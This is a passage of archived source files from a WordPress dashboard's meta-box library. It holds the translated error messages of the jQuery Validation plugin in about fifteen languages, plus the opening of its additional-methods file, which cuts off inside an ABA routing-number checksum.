	number: "Ներմուծեք թիվ",
	digits: "Ներմուծեք միայն թվեր",
	creditcard: "Ներմուծեք ճիշտ բանկային քարտի համար",
	equalTo: "Ներմուծեք միևնուն արժեքը ևս մեկ անգամ",
	extension: "Ընտրեք ճիշտ ընդլանումով ֆայլ",
	maxlength: $.validator.format( "Ներմուծեք ոչ ավել քան {0} նիշ" ),
	minlength: $.validator.format( "Ներմուծեք ոչ պակաս քան {0} նիշ" ),
	rangelength: $.validator.format( "Ներմուծեք {0}֊ից {1} երկարությամբ արժեք" ),
	range: $.validator.format( "Ներմուծեք թիվ {0}֊ից {1} միջակայքում" ),
	max: $.validator.format( "Ներմուծեք թիվ, որը փոքր կամ հավասար է {0}֊ին" ),
	min: $.validator.format( "Ներմուծեք թիվ, որը մեծ կամ հավասար է {0}֊ին" )
} );
return $;
}));PK     0w\    8  dashboard/lib/meta-box/js/validation/i18n/messages_th.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TH (Thai; ไทย)
 */
$.extend( $.validator.messages, {
	required: "โปรดระบุ",
	remote: "โปรดแก้ไขให้ถูกต้อง",
	email: "โปรดระบุที่อยู่อีเมล์ที่ถูกต้อง",
	url: "โปรดระบุ URL ที่ถูกต้อง",
	date: "โปรดระบุวันที่ ที่ถูกต้อง",
	dateISO: "โปรดระบุวันที่ ที่ถูกต้อง (ระบบ ISO).",
	number: "โปรดระบุทศนิยมที่ถูกต้อง",
	digits: "โปรดระบุจำนวนเต็มที่ถูกต้อง",
	creditcard: "โปรดระบุรหัสบัตรเครดิตที่ถูกต้อง",
	equalTo: "โปรดระบุค่าเดิมอีกครั้ง",
	extension: "โปรดระบุค่าที่มีส่วนขยายที่ถูกต้อง",
	maxlength: $.validator.format( "โปรดอย่าระบุค่าที่ยาวกว่า {0} อักขระ" ),
	minlength: $.validator.format( "โปรดอย่าระบุค่าที่สั้นกว่า {0} อักขระ" ),
	rangelength: $.validator.format( "โปรดอย่าระบุค่าความยาวระหว่าง {0} ถึง {1} อักขระ" ),
	range: $.validator.format( "โปรดระบุค่าระหว่าง {0} และ {1}" ),
	max: $.validator.format( "โปรดระบุค่าน้อยกว่าหรือเท่ากับ {0}" ),
	min: $.validator.format( "โปรดระบุค่ามากกว่าหรือเท่ากับ {0}" )
} );
return $;
}));PK     0w\\	  	  8  dashboard/lib/meta-box/js/validation/i18n/messages_ge.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/**
 * @author  @tatocaster <kutaliatato@gmail.com>
 * Translated default messages for the jQuery validation plugin.
 * Locale: GE (Georgian; ქართული)
 */
$.extend( $.validator.messages, {
	required: "ეს ველი სავალდებულოა.",
	remote: "გთხოვთ შეასწოროთ.",
	email: "გთხოვთ შეიყვანოთ სწორი ფორმატით.",
	url: "გთხოვთ შეიყვანოთ სწორი ფორმატით.",
	date: "გთხოვთ შეიყვანოთ სწორი თარიღი.",
	dateISO: "გთხოვთ შეიყვანოთ სწორი ფორმატით (ISO).",
	number: "გთხოვთ შეიყვანოთ რიცხვი.",
	digits: "დაშვებულია მხოლოდ ციფრები.",
	creditcard: "გთხოვთ შეიყვანოთ სწორი ფორმატის ბარათის კოდი.",
	equalTo: "გთხოვთ შეიყვანოთ იგივე მნიშვნელობა.",
	maxlength: $.validator.format( "გთხოვთ შეიყვანოთ არა უმეტეს {0} სიმბოლოსი." ),
	minlength: $.validator.format( "შეიყვანეთ მინიმუმ {0} სიმბოლო." ),
	rangelength: $.validator.format( "გთხოვთ შეიყვანოთ {0} -დან {1} -მდე რაოდენობის სიმბოლოები." ),
	range: $.validator.format( "შეიყვანეთ {0} -სა {1} -ს შორის." ),
	max: $.validator.format( "გთხოვთ შეიყვანოთ მნიშვნელობა ნაკლები ან ტოლი {0} -ს." ),
	min: $.validator.format( "გთხოვთ შეიყვანოთ მნიშვნელობა მეტი ან ტოლი {0} -ს." )
} );
return $;
}));PK     0w\t    ;  dashboard/lib/meta-box/js/validation/i18n/messages_bn_BD.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: bn_BD (Bengali, Bangladesh)
 */
$.extend( $.validator.messages, {
	required: "এই তথ্যটি আবশ্যক।",
	remote: "এই তথ্যটি ঠিক করুন।",
	email: "অনুগ্রহ করে একটি সঠিক মেইল ঠিকানা লিখুন।",
	url: "অনুগ্রহ করে একটি সঠিক লিঙ্ক দিন।",
	date: "তারিখ সঠিক নয়।",
	dateISO: "অনুগ্রহ করে একটি সঠিক (ISO) তারিখ লিখুন।",
	number: "অনুগ্রহ করে একটি সঠিক নম্বর লিখুন।",
	digits: "এখানে শুধু সংখ্যা ব্যবহার করা যাবে।",
	creditcard: "অনুগ্রহ করে একটি ক্রেডিট কার্ডের সঠিক নম্বর লিখুন।",
	equalTo: "একই মান আবার লিখুন।",
	extension: "সঠিক ধরনের ফাইল আপলোড করুন।",
	maxlength: $.validator.format( "{0}টির বেশি অক্ষর লেখা যাবে না।" ),
	minlength: $.validator.format( "{0}টির কম অক্ষর লেখা যাবে না।" ),
	rangelength: $.validator.format( "{0} থেকে {1} টি অক্ষর সম্বলিত মান লিখুন।" ),
	range: $.validator.format( "{0} থেকে {1} এর মধ্যে একটি মান ব্যবহার করুন।" ),
	max: $.validator.format( "অনুগ্রহ করে {0} বা তার চাইতে কম মান ব্যবহার করুন।" ),
	min: $.validator.format( "অনুগ্রহ করে {0} বা তার চাইতে বেশি মান ব্যবহার করুন।" )
} );
return $;
}));PK     0w\	Er    8  dashboard/lib/meta-box/js/validation/i18n/messages_tr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TR (Turkish; Türkçe)
 */
$.extend( $.validator.messages, {
	required: "Bu alanın doldurulması zorunludur.",
	remote: "Lütfen bu alanı düzeltin.",
	email: "Lütfen geçerli bir e-posta adresi giriniz.",
	url: "Lütfen geçerli bir web adresi (URL) giriniz.",
	date: "Lütfen geçerli bir tarih giriniz.",
	dateISO: "Lütfen geçerli bir tarih giriniz(ISO formatında).",
	number: "Lütfen geçerli bir sayı giriniz.",
	digits: "Lütfen sadece sayısal karakterler giriniz.",
	creditcard: "Lütfen geçerli bir kredi kartı giriniz.",
	equalTo: "Lütfen aynı değeri tekrar giriniz.",
	extension: "Lütfen geçerli uzantıya sahip bir değer giriniz.",
	phone: "Lütfen geçerli bir telefon numarası giriniz.",
	maxlength: $.validator.format( "Lütfen en fazla {0} karakter uzunluğunda bir değer giriniz." ),
	minlength: $.validator.format( "Lütfen en az {0} karakter uzunluğunda bir değer giriniz." ),
	rangelength: $.validator.format( "Lütfen en az {0} ve en fazla {1} uzunluğunda bir değer giriniz." ),
	range: $.validator.format( "Lütfen {0} ile {1} arasında bir değer giriniz." ),
	max: $.validator.format( "Lütfen {0} değerine eşit ya da daha küçük bir değer giriniz." ),
	min: $.validator.format( "Lütfen {0} değerine eşit ya da daha büyük bir değer giriniz." ),
	require_from_group: $.validator.format( "Lütfen bu alanların en az {0} tanesini doldurunuz." )
} );
return $;
}));PK     0w\ؼ    8  dashboard/lib/meta-box/js/validation/i18n/messages_ko.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KO (Korean; 한국어)
 */
$.extend( $.validator.messages, {
	required: "필수 항목입니다.",
	remote: "항목을 수정하세요.",
	email: "유효하지 않은 E-Mail주소입니다.",
	url: "유효하지 않은 URL입니다.",
	date: "올바른 날짜를 입력하세요.",
	dateISO: "올바른 날짜(ISO)를 입력하세요.",
	number: "유효한 숫자가 아닙니다.",
	digits: "숫자만 입력 가능합니다.",
	creditcard: "신용카드 번호가 바르지 않습니다.",
	equalTo: "같은 값을 다시 입력하세요.",
	extension: "올바른 확장자가 아닙니다.",
	maxlength: $.validator.format( "{0}자를 넘을 수 없습니다. " ),
	minlength: $.validator.format( "{0}자 이상 입력하세요." ),
	rangelength: $.validator.format( "문자 길이가 {0} 에서 {1} 사이의 값을 입력하세요." ),
	range: $.validator.format( "{0} 에서 {1} 사이의 값을 입력하세요." ),
	max: $.validator.format( "{0} 이하의 값을 입력하세요." ),
	min: $.validator.format( "{0} 이상의 값을 입력하세요." )
} );
return $;
}));PK     0w\^,6    8  dashboard/lib/meta-box/js/validation/i18n/messages_cs.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: CS (Czech; čeština, český jazyk)
 */
$.extend( $.validator.messages, {
	required: "Tento údaj je povinný.",
	remote: "Prosím, opravte tento údaj.",
	email: "Prosím, zadejte platný e-mail.",
	url: "Prosím, zadejte platné URL.",
	date: "Prosím, zadejte platné datum.",
	dateISO: "Prosím, zadejte platné datum (ISO).",
	number: "Prosím, zadejte číslo.",
	digits: "Prosím, zadávejte pouze číslice.",
	creditcard: "Prosím, zadejte číslo kreditní karty.",
	equalTo: "Prosím, zadejte znovu stejnou hodnotu.",
	extension: "Prosím, zadejte soubor se správnou příponou.",
	maxlength: $.validator.format( "Prosím, zadejte nejvíce {0} znaků." ),
	minlength: $.validator.format( "Prosím, zadejte nejméně {0} znaků." ),
	rangelength: $.validator.format( "Prosím, zadejte od {0} do {1} znaků." ),
	range: $.validator.format( "Prosím, zadejte hodnotu od {0} do {1}." ),
	max: $.validator.format( "Prosím, zadejte hodnotu menší nebo rovnu {0}." ),
	min: $.validator.format( "Prosím, zadejte hodnotu větší nebo rovnu {0}." ),
	step: $.validator.format( "Musí být násobkem čísla {0}." )
} );
return $;
}));PK     0w\֖J]  ]  ;  dashboard/lib/meta-box/js/validation/i18n/messages_zh_TW.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ZH (Chinese; 中文 (Zhōngwén), 汉语, 漢語)
 * Region: TW (Taiwan)
 */
$.extend( $.validator.messages, {
	required: "必須填寫",
	remote: "請修正此欄位",
	email: "請輸入有效的電子郵件",
	url: "請輸入有效的網址",
	date: "請輸入有效的日期",
	dateISO: "請輸入有效的日期 (YYYY-MM-DD)",
	number: "請輸入正確的數值",
	digits: "只可輸入數字",
	creditcard: "請輸入有效的信用卡號碼",
	equalTo: "請重複輸入一次",
	extension: "請輸入有效的後綴",
	maxlength: $.validator.format( "最多 {0} 個字" ),
	minlength: $.validator.format( "最少 {0} 個字" ),
	rangelength: $.validator.format( "請輸入長度為 {0} 至 {1} 之間的字串" ),
	range: $.validator.format( "請輸入 {0} 至 {1} 之間的數值" ),
	step: $.validator.format( "請輸入 {0} 的整數倍值" ),
	max: $.validator.format( "請輸入不大於 {0} 的數值" ),
	min: $.validator.format( "請輸入不小於 {0} 的數值" )
} );
return $;
}));PK     0w\(    8  dashboard/lib/meta-box/js/validation/i18n/messages_ur.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: UR (Urdu; اردو)
 */
$.extend( $.validator.messages, {
	required: "ان معلومات کا اندراج ضروری ہے",
	remote: "ان معلومات کا اندراج ضروری ہے",
	email: "درج کی ہوئی ای میل درست نہیں ہے",
	url: "درج کیا گیا پتہ درست نہیں ہے",
	date: "درج کی گئی تاریخ درست نہیں ہے",
	dateISO: "معیار کے مطابق نہیں ہے (ISO) درج کی گئی تاریخ",
	number: "درج کیےگئے ہندسے درست نہیں ہیں",
	digits: "صرف ہندسے اندراج کئے جاسکتے ہیں",
	creditcard: "درج کیا گیا کارڈ نمبر درست نہیں ہے",
	equalTo: "اندراج کا موازنہ درست نہیں ہے",
	extension: "اندراج درست نہیں ہے",
	maxlength: $.validator.format( "زیادہ سے زیادہ {0} کا اندراج کر سکتے ہیں" ),
	minlength: $.validator.format( "کم سے کم {0} کا اندراج کرنا ضروری ہے" ),
	rangelength: $.validator.format( "اندراج کا {0} اور {1}کے درمیان ہونا ضروری ہے" ),
	range: $.validator.format( "اندراج کا {0} اور {1} کے درمیان ہونا ضروری ہے" ),
	max: $.validator.format( "زیادہ سے زیادہ {0} کا اندراج کر سکتے ہیں" ),
	min: $.validator.format( "کم سے کم {0} کا اندراج کرنا ضروری ہے" )
} );
return $;
}));PK     0w\:A  A  ;  dashboard/lib/meta-box/js/validation/i18n/messages_pt_BR.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PT (Portuguese; português)
 * Region: BR (Brazil)
 */
$.extend( $.validator.messages, {

	// Core
	required: "Este campo &eacute; obrigat&oacute;rio.",
	remote: "Por favor, corrija este campo.",
	email: "Por favor, forne&ccedil;a um endere&ccedil;o de email v&aacute;lido.",
	url: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
	date: "Por favor, forne&ccedil;a uma data v&aacute;lida.",
	dateISO: "Por favor, forne&ccedil;a uma data v&aacute;lida (ISO).",
	number: "Por favor, forne&ccedil;a um n&uacute;mero v&aacute;lido.",
	digits: "Por favor, forne&ccedil;a somente d&iacute;gitos.",
	creditcard: "Por favor, forne&ccedil;a um cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	equalTo: "Por favor, forne&ccedil;a o mesmo valor novamente.",
	maxlength: $.validator.format( "Por favor, forne&ccedil;a n&atilde;o mais que {0} caracteres." ),
	minlength: $.validator.format( "Por favor, forne&ccedil;a ao menos {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, forne&ccedil;a um valor entre {0} e {1} caracteres de comprimento." ),
	range: $.validator.format( "Por favor, forne&ccedil;a um valor entre {0} e {1}." ),
	max: $.validator.format( "Por favor, forne&ccedil;a um valor menor ou igual a {0}." ),
	min: $.validator.format( "Por favor, forne&ccedil;a um valor maior ou igual a {0}." ),
	step: $.validator.format( "Por favor, forne&ccedil;a um valor m&uacute;ltiplo de {0}." ),

	// Metodos Adicionais
	maxWords: $.validator.format( "Por favor, forne&ccedil;a com {0} palavras ou menos." ),
	minWords: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} palavras." ),
	rangeWords: $.validator.format( "Por favor, forne&ccedil;a entre {0} e {1} palavras." ),
	accept: "Por favor, forne&ccedil;a um tipo v&aacute;lido.",
	alphanumeric: "Por favor, forne&ccedil;a somente com letras, n&uacute;meros e sublinhados.",
	bankaccountNL: "Por favor, forne&ccedil;a com um n&uacute;mero de conta banc&aacute;ria v&aacute;lida.",
	bankorgiroaccountNL: "Por favor, forne&ccedil;a um banco v&aacute;lido ou n&uacute;mero de conta.",
	bic: "Por favor, forne&ccedil;a um c&oacute;digo BIC v&aacute;lido.",
	cifES: "Por favor, forne&ccedil;a um c&oacute;digo CIF v&aacute;lido.",
	creditcardtypes: "Por favor, forne&ccedil;a um n&uacute;mero de cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	currency: "Por favor, forne&ccedil;a uma moeda v&aacute;lida.",
	dateFA: "Por favor, forne&ccedil;a uma data correta.",
	dateITA: "Por favor, forne&ccedil;a uma data correta.",
	dateNL: "Por favor, forne&ccedil;a uma data correta.",
	extension: "Por favor, forne&ccedil;a um valor com uma extens&atilde;o v&aacute;lida.",
	giroaccountNL: "Por favor, forne&ccedil;a um n&uacute;mero de conta corrente v&aacute;lido.",
	iban: "Por favor, forne&ccedil;a um c&oacute;digo IBAN v&aacute;lido.",
	integer: "Por favor, forne&ccedil;a um n&uacute;mero n&atilde;o decimal.",
	ipv4: "Por favor, forne&ccedil;a um IPv4 v&aacute;lido.",
	ipv6: "Por favor, forne&ccedil;a um IPv6 v&aacute;lido.",
	lettersonly: "Por favor, forne&ccedil;a apenas com letras.",
	letterswithbasicpunc: "Por favor, forne&ccedil;a apenas letras ou pontua&ccedil;ões.",
	mobileNL: "Por favor, fornece&ccedil;a um n&uacute;mero v&aacute;lido de telefone.",
	mobileUK: "Por favor, fornece&ccedil;a um n&uacute;mero v&aacute;lido de telefone.",
	nieES: "Por favor, forne&ccedil;a um NIE v&aacute;lido.",
	nifES: "Por favor, forne&ccedil;a um NIF v&aacute;lido.",
	nowhitespace: "Por favor, n&atilde;o utilize espa&ccedil;os em branco.",
	pattern: "O formato fornecido &eacute; inv&aacute;lido.",
	phoneNL: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phoneUK: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phoneUS: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	phonesUK: "Por favor, forne&ccedil;a um n&uacute;mero de telefone v&aacute;lido.",
	postalCodeCA: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeIT: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeNL: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postcodeUK: "Por favor, forne&ccedil;a um n&uacute;mero de c&oacute;digo postal v&aacute;lido.",
	postalcodeBR: "Por favor, forne&ccedil;a um CEP v&aacute;lido.",
	require_from_group: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} destes campos." ),
	skip_or_fill_minimum: $.validator.format( "Por favor, optar entre ignorar esses campos ou preencher pelo menos {0} deles." ),
	stateUS: "Por favor, forne&ccedil;a um estado v&aacute;lido.",
	strippedminlength: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} caracteres." ),
	time: "Por favor, forne&ccedil;a um hor&aacute;rio v&aacute;lido, no intervado de 00:00 a 23:59.",
	time12h: "Por favor, forne&ccedil;a um hor&aacute;rio v&aacute;lido, no intervado de 01:00 a 12:59 am/pm.",
	url2: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
	vinUS: "O n&uacute;mero de identifica&ccedil;&atilde;o de ve&iacute;culo informado (VIN) &eacute; inv&aacute;lido.",
	zipcodeUS: "Por favor, forne&ccedil;a um c&oacute;digo postal americano v&aacute;lido.",
	ziprange: "O c&oacute;digo postal deve estar entre 902xx-xxxx e 905xx-xxxx.",
	cpfBR: "Por favor, forne&ccedil;a um CPF v&aacute;lido.",
	nisBR: "Por favor, forne&ccedil;a um NIS/PIS v&aacute;lido.",
	cnhBR: "Por favor, forne&ccedil;a um CNH v&aacute;lido.",
	cnpjBR: "Por favor, forne&ccedil;a um CNPJ v&aacute;lido."
} );
return $;
}));PK     0w\0    8  dashboard/lib/meta-box/js/validation/i18n/messages_he.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HE (Hebrew; עברית)
 */
$.extend( $.validator.messages, {
	required: "השדה הזה הינו שדה חובה",
	remote: "נא לתקן שדה זה",
	email: "נא למלא כתובת דוא\"ל חוקית",
	url: "נא למלא כתובת אינטרנט חוקית",
	date: "נא למלא תאריך חוקי",
	dateISO: "נא למלא תאריך חוקי (ISO)",
	number: "נא למלא מספר",
	digits: "נא למלא רק מספרים",
	creditcard: "נא למלא מספר כרטיס אשראי חוקי",
	equalTo: "נא למלא את אותו ערך שוב",
	extension: "נא למלא ערך עם סיומת חוקית",
	maxlength: $.validator.format( ".נא לא למלא יותר מ- {0} תווים" ),
	minlength: $.validator.format( "נא למלא לפחות {0} תווים" ),
	rangelength: $.validator.format( "נא למלא ערך בין {0} ל- {1} תווים" ),
	range: $.validator.format( "נא למלא ערך בין {0} ל- {1}" ),
	max: $.validator.format( "נא למלא ערך קטן או שווה ל- {0}" ),
	min: $.validator.format( "נא למלא ערך גדול או שווה ל- {0}" )
} );
return $;
}));PK     0w\t}    8  dashboard/lib/meta-box/js/validation/i18n/messages_lt.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: LT (Lithuanian; lietuvių kalba)
 */
$.extend( $.validator.messages, {
	required: "Šis laukas yra privalomas.",
	remote: "Prašau pataisyti šį lauką.",
	email: "Prašau įvesti teisingą elektroninio pašto adresą.",
	url: "Prašau įvesti teisingą URL.",
	date: "Prašau įvesti teisingą datą.",
	dateISO: "Prašau įvesti teisingą datą (ISO).",
	number: "Prašau įvesti teisingą skaičių.",
	digits: "Prašau naudoti tik skaitmenis.",
	creditcard: "Prašau įvesti teisingą kreditinės kortelės numerį.",
	equalTo: "Prašau įvestį tą pačią reikšmę dar kartą.",
	extension: "Prašau įvesti reikšmę su teisingu plėtiniu.",
	maxlength: $.validator.format( "Prašau įvesti ne daugiau kaip {0} simbolių." ),
	minlength: $.validator.format( "Prašau įvesti bent {0} simbolius." ),
	rangelength: $.validator.format( "Prašau įvesti reikšmes, kurių ilgis nuo {0} iki {1} simbolių." ),
	range: $.validator.format( "Prašau įvesti reikšmę intervale nuo {0} iki {1}." ),
	max: $.validator.format( "Prašau įvesti reikšmę mažesnę arba lygią {0}." ),
	min: $.validator.format( "Prašau įvesti reikšmę didesnę arba lygią {0}." )
} );
return $;
}));PK     0w\    8  dashboard/lib/meta-box/js/validation/i18n/messages_da.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: DA (Danish; dansk)
 */
$.extend( $.validator.messages, {
	required: "Dette felt er påkrævet.",
	remote: "Ret venligst dette felt.",
	email: "Indtast en gyldig email-adresse.",
	url: "Indtast en gyldig URL.",
	date: "Indtast en gyldig dato.",
	number: "Indtast et tal.",
	digits: "Indtast kun cifre.",
	creditcard: "Indtast et gyldigt kreditkortnummer.",
	equalTo: "Indtast den samme værdi igen.",
	time: "Angiv en gyldig tid mellem kl. 00:00 og 23:59.",
	ipv4: "Angiv venligst en gyldig IPv4-adresse.",
	ipv6: "Angiv venligst en gyldig IPv6-adresse.",
	require_from_group:  $.validator.format( "Angiv mindst {0} af disse felter." ),
	extension: "Indtast venligst en værdi med en gyldig endelse.",
	pattern: "Ugyldigt format.",
	lettersonly: "Angiv venligst kun bogstaver.",
	nowhitespace: "Må ikke indholde mellemrum.",
	maxlength: $.validator.format( "Indtast højst {0} tegn." ),
	minlength: $.validator.format( "Indtast mindst {0} tegn." ),
	rangelength: $.validator.format( "Indtast mindst {0} og højst {1} tegn." ),
	range: $.validator.format( "Angiv en værdi mellem {0} og {1}." ),
	max: $.validator.format( "Angiv en værdi der højst er {0}." ),
	min: $.validator.format( "Angiv en værdi der mindst er {0}." ),
	minWords: $.validator.format( "Indtast venligst mindst {0} ord." ),
	maxWords:  $.validator.format( "Indtast venligst højst {0} ord." ),
	step: $.validator.format( "Angiv en værdi gange {0}." ),
	notEqualTo: "Angiv en anden værdi, værdierne må ikke være det samme.",
	integer: "Angiv et ikke-decimaltal, der er positivt eller negativt."
} );
return $;
}));PK     0w\I  I  8  dashboard/lib/meta-box/js/validation/i18n/messages_uk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: UK (Ukrainian; українська мова)
 */
$.extend( $.validator.messages, {
	required: "Це поле необхідно заповнити.",
	remote: "Будь ласка, введіть правильне значення.",
	email: "Будь ласка, введіть коректну адресу електронної пошти.",
	url: "Будь ласка, введіть коректний URL.",
	date: "Будь ласка, введіть коректну дату.",
	dateISO: "Будь ласка, введіть коректну дату у форматі ISO.",
	number: "Будь ласка, введіть число.",
	digits: "Вводите потрібно лише цифри.",
	creditcard: "Будь ласка, введіть правильний номер кредитної карти.",
	equalTo: "Будь ласка, введіть таке ж значення ще раз.",
	extension: "Будь ласка, виберіть файл з правильним розширенням.",
	maxlength: $.validator.format( "Будь ласка, введіть не більше {0} символів." ),
	minlength: $.validator.format( "Будь ласка, введіть не менше {0} символів." ),
	rangelength: $.validator.format( "Будь ласка, введіть значення довжиною від {0} до {1} символів." ),
	range: $.validator.format( "Будь ласка, введіть число від {0} до {1}." ),
	max: $.validator.format( "Будь ласка, введіть число, менше або рівно {0}." ),
	min: $.validator.format( "Будь ласка, введіть число, більше або рівно {0}." )
} );
return $;
}));PK     0w\@    <  dashboard/lib/meta-box/js/validation/i18n/messages_sr_lat.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SR (Serbian - Latin alphabet; srpski jezik - latinica)
 */
$.extend( $.validator.messages, {
	required: "Polje je obavezno.",
	remote: "Sredite ovo polje.",
	email: "Unesite ispravnu e-mail adresu.",
	url: "Unesite ispravan URL.",
	date: "Unesite ispravan datum.",
	dateISO: "Unesite ispravan datum (ISO).",
	number: "Unesite ispravan broj.",
	digits: "Unesite samo cifre.",
	creditcard: "Unesite ispravan broj kreditne kartice.",
	equalTo: "Unesite istu vrednost ponovo.",
	extension: "Unesite vrednost sa odgovarajućom ekstenzijom.",
	maxlength: $.validator.format( "Unesite manje od {0} karaktera." ),
	minlength: $.validator.format( "Unesite barem {0} karaktera." ),
	rangelength: $.validator.format( "Unesite vrednost dugačku između {0} i {1} karaktera." ),
	range: $.validator.format( "Unesite vrednost između {0} i {1}." ),
	max: $.validator.format( "Unesite vrednost manju ili jednaku {0}." ),
	min: $.validator.format( "Unesite vrednost veću ili jednaku {0}." ),
	step: $.validator.format( "Unesite vrednost koja je umnožak broja {0}." )
} );
return $;
}));PK     0w\/I  I  :  dashboard/lib/meta-box/js/validation/additional-methods.jsnu [        /*!
 * jQuery Validation Plugin v1.20.0
 *
 * https://jqueryvalidation.org/
 *
 * Copyright (c) 2023 Jörn Zaefferer
 * Released under the MIT license
 */
(function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "./jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

( function() {

	function stripHtml( value ) {

		// Remove html tags and space chars
		return value.replace( /<.[^<>]*?>/g, " " ).replace( /&nbsp;|&#160;/gi, " " )

		// Remove punctuation
		.replace( /[.(),;:!?%#$'\"_+=\/\-“”’]*/g, "" );
	}

	$.validator.addMethod( "maxWords", function( value, element, params ) {
		return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length <= params;
	}, $.validator.format( "Please enter {0} words or less." ) );

	$.validator.addMethod( "minWords", function( value, element, params ) {
		return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length >= params;
	}, $.validator.format( "Please enter at least {0} words." ) );

	$.validator.addMethod( "rangeWords", function( value, element, params ) {
		var valueStripped = stripHtml( value ),
			regex = /\b\w+\b/g;
		return this.optional( element ) || valueStripped.match( regex ).length >= params[ 0 ] && valueStripped.match( regex ).length <= params[ 1 ];
	}, $.validator.format( "Please enter between {0} and {1} words." ) );

}() );

/**
 * This is used in the United States to process payments, deposits,
 * or transfers using the Automated Clearing House (ACH) or Fedwire
 * systems. A very common use case would be to validate a form for
 * an ACH bill payment.
 */
$.validator.addMethod( "abaRoutingNumber", function( value ) {
	var checksum = 0;
	var tokens = value.split( "" );
	var length = tokens.length;

	// Length Check
	if ( length !== 9 ) {
		return false;
	}

	// Calc the checksum
